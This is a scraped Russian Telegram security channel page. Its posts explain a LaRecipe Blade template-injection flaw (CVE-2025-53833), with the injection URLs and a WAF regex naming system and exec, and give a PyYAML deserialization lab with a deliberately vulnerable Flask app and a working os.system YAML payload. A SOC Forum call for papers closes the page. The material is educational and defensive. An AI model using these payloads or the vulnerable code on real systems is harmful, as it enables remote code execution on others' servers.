При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Участок кода HasBladeParser.php(25):
Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
Данная ошибка показывает, что компиляция происходит в функции
💡 Важное уточнение: полезная нагрузка может передаваться не только в качестве параметра, но и в качестве его значения. Если полезную нагрузку ввести в качестве пути, сервер вернет 404.
😬 Ка защититься:
На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
• в значениях переменных также содержится
CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться
LaRecipe — это
Метрики
Base Core: 10
CWE: CWE-1336
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.
В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует
PHP-код
⮕ подставляет полученный результат в HTML
разметку. Если конкретнее, он формирует дополнительные ссылки на документы. Например:
http:/target/?test=test
<a href="/user-manual/1.0?test=test#introduction">Introduction</a>
При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:
Error: Undefined constant "test" in …/larecipe/src/Traits/HasBladeParser.php(25) : eval()'d code:4
Участок кода HasBladeParser.php(25):
try {
eval('?'.'>'.$content);
}
Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне
http:/target/?{{$test=’LOL’}}
— ошибки не будет, мы получит верно сгенерированный HTML. Важно, что в качестве параметра URL HTML блока, будет находится значение, которое определено нашей переменной — LOL
. <a href="/user-manual/1.0?lol#introduction">Introduction</a>
Данная ошибка показывает, что компиляция происходит в функции
eval()
и значения на сервере никак не валидируются. Значит, мы можем вызвать уже определенную функцию system()
и выполнить RCE
. Пример — на скриншоте. На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию
{{.*?}}
;• в значениях переменных также содержится
{{.*?}}
. Чтобы избежать ложных сработок, например на json, включите в этот блок различные PHP-функции и операторы {{.*?(system|shell|exec|shell_exec|...|phpinfo\(\)...).*?}}
.Please open Telegram to view this post
VIEW IN TELEGRAM
❤14🔥7👌4🤔3⚡1🤬1
Десериализация ненадежных данных
👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (
В библиотеке
😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.
😬 Метрики
😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
Внутри этой строки вызывается
В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
😬 Как защищаться
1) Обновите
2) Для более старых
3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
RCE
).В библиотеке
PyYAML
существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load()
. Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load()
в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.Base Score: 9,9
CWE: CWE-502
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.
from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
result = ""
if request.method == "POST":
file = request.files.get("file")
if file:
try:
data = yaml.load(file.read(), Loader=yaml.FullLoader)
result = f"Загружено: {data}"
except Exception as e:
result = f"Ошибка: {e}"
return render_template_string(HTML, result=result)
if __name__ == "__main__":
app.run(debug=True)
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.
!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"
type(...)
динамически создаёт новый класс zz()
создаёт экземпляр этого классаobj.extend(...)
вызывает exec(...)
, передавая туда строкуВнутри этой строки вызывается
os.system("<RCE>")
В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.
1) Обновите
PyYAML
.2) Для более старых
PyYAML
используйте yaml.safe_load()
.3) Ограничивайте возможность загрузки yaml для сторонних пользователей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤10👌4👏2🤯2⚡1😁1🤬1👾1
CFP: Подавайтесь на SOC Forum 2025! ✅
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
😬 Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
😬 Defense: актуальные технологии защиты, обнаружение и реагирование на угрозы, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
😬 Архитектура ИТ и ИБ: построение безопасных систем.
😬 SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
⏰ Доклады принимаются по 14 сентября включительно.
Стать спикером
Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!
Темы:
Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».
Кстати, все выступающие получат +1 билет.
В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
Стать спикером
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥6👍4